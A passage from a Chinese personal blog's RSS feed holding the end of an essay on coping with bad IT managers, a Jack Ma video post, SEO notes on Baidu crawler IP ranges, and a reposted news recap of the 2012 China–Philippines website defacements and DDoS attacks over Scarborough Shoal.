（全球排名前十的大公司出身），言辞具有鼓动性，面部表情丰富，看起来是一个高手&mdash;&mdash;&mdash;-是公司花重金从请猎头挖了8个月才从一个大公司里挖 过来的核心技术人才。然后，他请你来，做这个项目团队的的server的核心开发。面试的时候，他问得很细，你很满意，你问他你的具体工作内容，他说：只 有一句话，那就是开发server端，也就是server端的所有开发都归你了。具体内容呢？他会说，是你写server的内核还是我写？我是请你来做开 发的，你还问我？你会觉得，哦，那就是我拿主意了。</span></p><p><span style="color: #008080">对策：针对这样的老板，你一定要有自己的Schedual,什么事情什么时候做完，一定要做到心中有数。你要知道，不能事事都等老板来吩咐，推一下动一 下，而是，自己主动找事情做，自己做自己的项目经理，自觉地对自己负责，这样，你才会快速成长，做完这个项目，类似的项目你就完全没有问题了 &mdash;&mdash;-这是我在无锡做项目时的体会。</span></p><p><span style="color: #008080">2，项目开展的过程中，不监督，不更正。专搞秋后算账。每天都开会，听大家汇报，然后口头做指导，结论都写在白板上。叫大家用笔记下来。等到下次再开会， 还是讨论相同的问题。很多的问题，没有具体负责人。自己没有讲清楚，就怪大家没有听清楚。如果有人说：你上次不是这么讲的，就开始大发雷霆：我怎么讲的我 会不知道么？！从此那个提建议的人天天在公开场合被骂，每次骂到最后，都来一句：我看你还是去投简历算了，这里你不太适合啊！开会到一定的时候，发觉项目 进度落后了，就开始命令大家免费加班了。到项目的一个阶段性的时候，发觉，啊，这个没有做好，那个也没有做好，大老板怪罪下来，就说：这是XXX的责任， 他没有做好，我已经准备把他开除了,我准备请一个能力更强的人来做，一定能做好&hellip;&hellip;&hellip;&hellip;</span></p><p><span style="color: #008080">对策：项目经理可以没有监督，但是，你必须经常反馈，经常对他和其他项目成员反馈，你做到哪一步了？情况怎么样？碰到什么困难？卡到什么地方了？准备用什 么方法解决？如有可能，最好也请求大家都来定期反馈，回报进度。中国每年失败的项目无数，很大一部分就是因为项目成员没有互相通气，各自闭门造车。这样做 的好处，除了可以防止老板秋后算账，更可以推进项目的顺利进展。要知道，机会都是给有准备的人；有一天，项目组里要提一个副经理，谁心中有一盘棋，谁能为 项目作出更多的贡献，谁能带团队，都是很重要的考量参数。</span></p><p><span style="color: #008080">3，项目角色搞混：请一个系统管理员，要求他什么都会做，基础网络架构设计及实现，系统管理，系统架构的设计，系统的发布，系统的排错，新系统的分析，开 发等等&hellip;&hellip;&hellip;.一人当十个人用,当一个人是在顶不住的时候，就开始请一个新人进来，对他寄予厚望，然后又准备把另一个熟手给开除了。用人的法宝，就是:开 除！要当心，在这种老板手下做事，你可能会坐上那个注定了要失败的岗位。因为他把角色搞混，要把一个人当十个人用，他对新来的，总是寄予厚望，然后总是以 失望收尾，然后以开除结束，当然，最后项目失败，他也被开除了。</span></p><p><span style="color: #008080">对策：在一个项目中，一定要清楚自己的项目角色，有哪些明确的担当，哪些是我的职责，哪些是谁的职责，大家应该如何相互配合。毕竟，在一个项目中，谁会刻 意的把项目搞黄呢？大家都想着项目成功后，能拿点项目奖金慰劳自己，所以这是的沟通能力是非常重要的，沟通好了，才能避免角色搞混。</span></p><p><span style="color: #008080">4，不着调的分派任务：只要产品经理催一催，开发部的就要24小时运作，大家无节制的加班，美其名曰：奉献精神，年底加薪！</span></p><p><span style="color: #008080">对策：偶尔的加班，哪个项目都免不了；但是经常性的大规模加班就不好了。要避免这种情况发生，第一，要在一开始就站在客户的角度上想问题，这样，可能客户 都没有想到的问题你早就想到了，提前做了布局，那么，你做出的产品肯定能超出客户的期望值，只要你能超出客户，老板的期望值，走到哪里都会左右逢源的。</span></p><p><span style="color: #008080">5，喜怒无常：上一秒中还笑嘻嘻的，下一秒就雷霆大怒，高兴的时候随便许诺，过后就忘，发怒的时候随意惩罚下属，从来不追究原因，喜欢四处揽权。搞到最后，大家都不知道他要的工作标准&mdash;&mdash;&mdash;也从来不公布工作标准。</span></p><p><span style="color: #008080">对策：可以说，有些实在太变态的老板，你是没有办法应对的。但是，大家既然在一起工作，那就是有缘。对于那些喜怒无常的人，你不必太在意，但是要借此机会 提高自身的修养。所谓&ldquo;见贤思齐焉，见不贤自省&rdquo;，他身上有哪些缺点？自己身上有没有？他身上有哪些优点，自己有没有？世上没有一个彻底的坏人，也没有一 个完人。伟大如舜者，还有个瞽叟的昏头父亲呢，但是，一样不影响他成为伟人；我等凡人，但是也不影响我们从对方身上学点好的品质吧？这也是很有趣的啊。</span></p><p><span style="color: #008080">或许有人说：你不是危言耸听吧？职场如此凶险？我当然没有危言耸听，这是我亲身所见。2003年到2007年间，我在南国最大的一个代工工厂里做 ITsupport&mdash;&mdash;&ndash;国家高层领导人还经常去厂里视察呢。可是有个副课长就是这样的，他变相开除了（其实大体情况是这样的：你不走，我就天 天骂你，暗示你让你走）我的三个兄弟，只为了提升自己的心腹，最后，在2008年，据可信消息，他被协理给变相开除了&mdash;&mdash;&ndash;《圣经》上说：抢人 的，终将被人抢；拿刀砍人的，也终将被人砍。后来，我去了一家美资软件开发公司，可是那个高级经理更变态，我进去6个月，他竟然开除了6个人，每个人都是 在即将满试用期的时候开除的，2009年4月，他终于恶贯满盈，被董事会给开除了&mdash;&mdash;&mdash;真是报应不爽啊！</span></p><p><span style="color: #008080">在我从事IT九年的生涯中，最优秀的老板当属Sunny了，不仅仅因为他是做技术出身的，懂技术（他先做IT helpdesk, 考了MCSE, 然后准备好了再转而搞网络,考了CCIE），更因为他的OPEN MIND，所以在IT团队里最受欢迎。但是，即使优秀如彼者，也差点被那个烂人被逼走了。后来，他实在扛不住了，被一家全球五百强里排名前十的公司给挖走 了。</span></p><p><span style="color: #008080">所以，打铁还得自身硬。万一有一天你也碰上了各种有趣的或者无聊的，或者稀奇古怪的老板，你若都能从他们身上学点东西，就没有白来走一趟。</span></p><p><span style="color: #008080">中国人讨论工作搞不好的原因，一般有如下三个：1，像寡妇睡觉，上面没有人；2，像妓女睡觉，上面老是换人；3，像夫妻睡觉，老是自己人搞自己人。 对于大多数的人老说，中国人工作搞不好，主要是第三条，老是自己人搞自己人。各位搞IT的兄弟姐妹们，请从自我做起，不要带头搞办公室政治，不要起内讧， 大家一起来把工作搞好。往大里说，是响应的理想：为中华之崛起而工作；往小里说，工作是你衣食来源，好意思不努力点么？</span></p><p><span style="color: #008080"><br /></span></p>]]></description><category>杂七杂八</category><comments>http://www.si1ence.cn/zawen/408/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=408</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=408&amp;key=3dd37d15</trackback:ping></item><item><title>马云D9数字大会接受《华尔街日报》访谈视频（中文字幕）</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/zawen/406/</link><pubDate>Sat, 12 May 2012 14:40:08 +0800</pubDate><guid>http://www.si1ence.cn/zawen/406/</guid><description><![CDATA[<p><span style="color: #008080">马云D9数字大会接受《华尔街日报》访谈视频（中文字幕）</span></p><p><span style="color: #008080">&nbsp;</span></p><embed type="application/x-shockwave-flash" align="middle" height="400" width="480" quality="high" src="http://player.youku.com/player.php/sid/XMjgwNjQ0Mjg4/v.swf" allowscriptaccess="sameDomain" allowfullscreen="true"></embed>]]></description><category>杂七杂八</category><comments>http://www.si1ence.cn/zawen/406/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=406</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=406&amp;key=ccef139d</trackback:ping></item><item><title>百度蜘蛛IP分析说明</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/SEO/405/</link><pubDate>Sat, 12 May 2012 14:18:05 +0800</pubDate><guid>http://www.si1ence.cn/SEO/405/</guid><description><![CDATA[<div><span style="color: #008080">123.125.68.* &nbsp; 这个蜘蛛经常来,别的来的少,表示网站可能要进入沙盒了，或被者降权。　</span></div><div><span style="color: #008080">&nbsp; 　</span></div><div><span style="color: #008080">220.181.68.* 每天这个IP 段只增不减很有可能进沙盒或K站。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.7.*、123.125.66.* &nbsp; 代表百度蜘蛛IP造访，准备抓取你东西。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">121.14.89.* &nbsp; 这个ip段作为度过新站考察期。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">203.208.60.* &nbsp; 这个ip段出现在新站及站点有不正常现象后。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">210.72.225.* &nbsp; 这个ip段不间断巡逻各站。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">125.90.88.* &nbsp; 广东茂名市电信也属于百度蜘蛛IP 主要造成成分，是新上线站较多，还有使用过站长工具，或SEO综合检测造成的。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.108.95 &nbsp;这个是百度抓取首页的专用IP，如是220.181.108段的话，基本来说你的网站会天天隔夜快照，绝对错不了的，我保证。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.108.92 &nbsp; 同上98%抓取首页，可能还会抓取其他 (不是指内页)220.181段属于权重IP段此段爬过的文章或首页基本24小时放出来。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">123.125.71.106 &nbsp; 抓取内页收录的，权重较低，爬过此段的内页文章不会很快放出来，因不是原创或采集文章。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.108.91 &nbsp; 属于综合的，主要抓取首页和内页或其他，属于权重IP 段，爬过的文章或首页基本24小时放出来。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.108.75 &nbsp; 重点抓取更新文章的内页达到90%，8%抓取首页，2%其他。权重IP 段，爬过的文章或首页基本24小时放出来。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">220.181.108.86 &nbsp; 专用抓取首页IP 权重段，一般返回代码是304 0 0 代表未更新。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">123.125.71.95 &nbsp; &nbsp;抓取内页收录的，权重较低，爬过此段的内页文章不会很快放出来，因不是原创或采集文章。</span></div><div><span style="color: #008080">　　</span></div><div><span style="color: #008080">123.125.71.97 &nbsp; &nbsp;抓取内页收录的，权重较低，爬过此段的内页文章不会很快放出来，因不是原创或采集文章。</span></div>]]></description><category>武汉SEO</category><comments>http://www.si1ence.cn/SEO/405/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=405</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=405&amp;key=255d9d87</trackback:ping></item><item><title>中菲网络战争全程回顾</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/news/407/</link><pubDate>Fri, 11 May 2012 09:57:16 +0800</pubDate><guid>http://www.si1ence.cn/news/407/</guid><description><![CDATA[<p>转自：http://www.freebuf.com/others/913.html</p><p><span class="Apple-style-span" style="word-spacing: 0px; font: 12px/22px Verdana, Geneva, sans-serif, 微软雅黑, 宋体; text-transform: none; color: rgb(102,102,102); text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: rgb(255,255,255); orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><h4 style="padding-right: 0px; padding-left: 0px; font-size: 12px; padding-bottom: 0px; margin: 0px; padding-top: 0px"><span style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(0,128,0); padding-top: 0px">小编注：本文翻译自国外的文章，请保持客观、理性的态度阅读！</span></h4><h4 style="padding-right: 0px; padding-left: 0px; font-size: 12px; padding-bottom: 0px; margin: 0px; padding-top: 0px">多年来，在斯卡伯勒浅滩(菲)或者叫做黄岩岛(中)以及南沙岛，中国和菲律宾一直存在领土上的争端。由于之前中国在拒绝了菲律宾的关于搁置黄岩岛争议的提案后向南海派出了渔政船和军舰，所以当前最有争议的应该是黄岩岛了。</h4><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">就在几天之后，黑客入侵了菲律宾大学的官方网站，留下一句话称他们来自中国并声明黄岩岛是中国的而不是菲律宾的。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 497px; padding-top: 6px; height: 377px"><img class="alignnone  wp-image-914" title="050212_2000_1" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="351" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_1.jpg" width="359" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">黑客攻击事件的消息传播的很快。因为那些人自称来自中国，一个名为Busabos的黑客入侵并篡改了中国三个网站的首页：star.chinaumu.org, v.cyol.com and ploft.cn。他还将这些网站的黑页发到了Facebook一个名为Anonymous #OccupyPhilippines的主页中，这个主页有超过1000名的喜爱者和追随者。这次事件发生在2012年4月21日。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><img class="alignnone  wp-image-915" title="050212_2000_2" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="239" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_2.jpg" width="430" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">在他的黑页中说道：</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">STFU<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Chinese government is clearly retarded</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal"><span class="Apple-converted-space">&nbsp;</span>//</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">中国</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">ZF</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">明显是</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">*</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">障<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Scarborough Shoal</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal"><span class="Apple-converted-space">&nbsp;</span>//</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">黄岩岛<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Anonymous #OccupyPhilippines<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">We are Anonymous, We are legion, We don&rsquo;t forgive, We don&rsquo;t forget</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal"><span class="Apple-converted-space">&nbsp;</span>//Anonymous</em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">组织的宣传标语<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">United as one Divided by zero, Expect us.</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">在他的黑页中还包括一个带着福克斯(Fawkes)面具的人，并在网页中嵌入了一首摇滚歌曲。根据他黑页中的内容，这个人看起来应该是Anonymous的支持者。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">Busabos还在Facebook的<em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Anonymous #OccupyPhilippines</em>主页补充说他宁愿以这样的方式公开反对中国地下黑客在网络中的所作所为，也不想对当前他们所完成的入侵和篡改事件无动于衷。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">也许你不知道busabos是谁，他就是2009-2010在菲律宾大选选举前的民意调查期间入侵菲律宾政府网站的人。事实上，在Zone-H里有他提交的很多网站入侵记录。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">几分钟之后，一个名叫Supra Dick的人也在Facebook的这个主页中展示了他入侵的几个中国网站：</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">www.lanseyinxiang.com/phil.html<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.sanxinsudi.com/index.html<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://gh.rc.gov.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.ryjzw.com</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><img class="alignnone  wp-image-916" title="050212_2000_3" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="263" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_3.jpg" width="538" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">入侵者有时也挺有意思，因为他们有时会拼错菲律宾的英文(&gt;.&lt;||)<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" />我对以上黑客事件的第一印象是，它们可以触发两个国家之间的网络战争。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">与此同时，在Facebook上，就像下面的这幅图像，因为两国的领土争端也成为了议论的热点。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><img class="alignnone  wp-image-917" title="050212_2000_4" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="244" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_4.jpg" width="432" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">菲律宾报复行动发生一天之后，菲律宾共和国总统的官邸和工作地点theMalaca&ntilde;ang宫，呼吁结束对中国的网络攻击，因为它可能使局势恶化和紧张。菲律宾外交部助理秘书长发言人劳尔&middot;埃尔南德斯说：</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">&ldquo;我们谴责这种网络攻击，不管他们来自哪一方，这些攻击行为是适得其反的，只会增加紧张局势，我们呼吁菲律宾和中国的网民更负责任一些，鼓励对话而不是进行不和谐的行为。&rdquo;</strong></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">然而，他的声明是没有用的，因为他们无法控制网络攻击背后那些人的思想，并且这个国家没有能够在此情况下采取行动的网络安全，取证和信息安全机构。事实上，国家调查局反欺诈及计算机犯罪部在网络取证方面已经被证明是无用的，没有良好的技术进行取证。这些结论是基于之前我对Busabos的采访，有人泄露了一段他与NBI(国家反欺诈及计算机犯罪调查部)的对话记录。菲律宾政府也希望建立一个机构能应对和处理这种窘境。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">但不管怎样，从Hernandez的声明中找到了一个关键点：中国因为其资助网络间谍活动而著名，而且菲律宾的地下组织也在增长。因此很可能摩擦出网络战争的火花。他只是想叫停那些人，但我们也不能因此而责备他。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">最后，2012年4月23日，总统发言人埃德温&middot;Lacierda发出一份正式声明中说：</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">&ldquo;大约在2012年4月23日下午，<em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">总统通信发展和战略规划办公室（PCDSPO）注意到一些拥有伪造的user-agents的恶意URL请求从国家政府官方网站（网址：www.gov.ph），到PCDSPO网站（网址：www.pcdspo.gov.ph），又到总统博物馆和图书馆网站（网址：www.malacanang.gov.ph），导致我们的服务器立刻相应延迟。我们确定，这是一次拒绝服务攻击。通过我们的数据分析收集的信息表明，网络攻击的IP地址来自中国。</em>&rdquo;</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">PCDSPO正试图保持网站的正常运营。但是请注意持续进行的攻击使我们只能暂时避免宕机。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">这确实是一次来自中国的DDOS攻击，或者只是服务器在中国而真正的攻击者并不是中国？难道他们想伪造出可以追溯到中国的网络攻击？官方目前也没有任何反应，可能是因为保密原因。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">我也不能确定这次攻击是否真的来自中国，因为没有足够的证据。况且谁愿意因为拥有本国的IP地址而被追踪。但这只是我的想法。如果中国真的想发动网络攻击他们应该会使用不同的网络，发起一系列的DoS攻击或者是DDoS。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">当消息再次传开后，菲律宾的另一个地下组织，Privatex，决定加入Anonymous #OccupyPhilippines组，他们发起了第二次报复。这一次他们称他们的行动为#OpChinaDown。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><strong style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px">下面是一些确认被黑的网站：</strong></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.ocex.com.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.teawindow.com<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.higvod.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.lzrk.gov.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://lppm.bigc.edu.cn/Pr1vX.htm<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://xxb.leiyang.gov.cn/Pr1vX.htm<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://en.founder.com.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://dxswl.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.cord.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://fmprc.gov.cn (DDos or DoS Attack)<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://www.3322.net.cn<br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></em><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">http://wahsangtech.com/index.aspx</em></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><img class="alignnone  wp-image-918" title="050212_2000_5" style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; vertical-align: middle; padding-top: 0px" height="332" alt="" src="http://www.freebuf.com/buf/uploads/2012/05/050212_2000_5.jpg" width="555" /></p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">#OpChinaDown</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">最近发生在中国网站上的入侵事件只是针对有同样遭遇的菲律宾网站的简单回应。你可以继续欺负我们国家的海域，但我们绝对不会容忍你恐吓我们自己国家的网络服务。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">这些入侵只是针对你们最开始行为的回应。我们并不是要开始什么，只是想告诉你，我们不希望在我们自己的网络中被过分欺负。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px">#OpChinaDown不是一种威胁。这将是一个答复，针对以后来自中国网络攻击的一个答复。我们把国家的争端留在政府手中，但这并不意味着我们不会支持他们。</p><p style="padding-right: 0px; overflow-y: hidden; padding-left: 0px; float: left; overflow-x: hidden; padding-bottom: 4px; margin: 0px; width: 638px; padding-top: 6px"><em style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; font-style: normal">Scarborough Shoal is 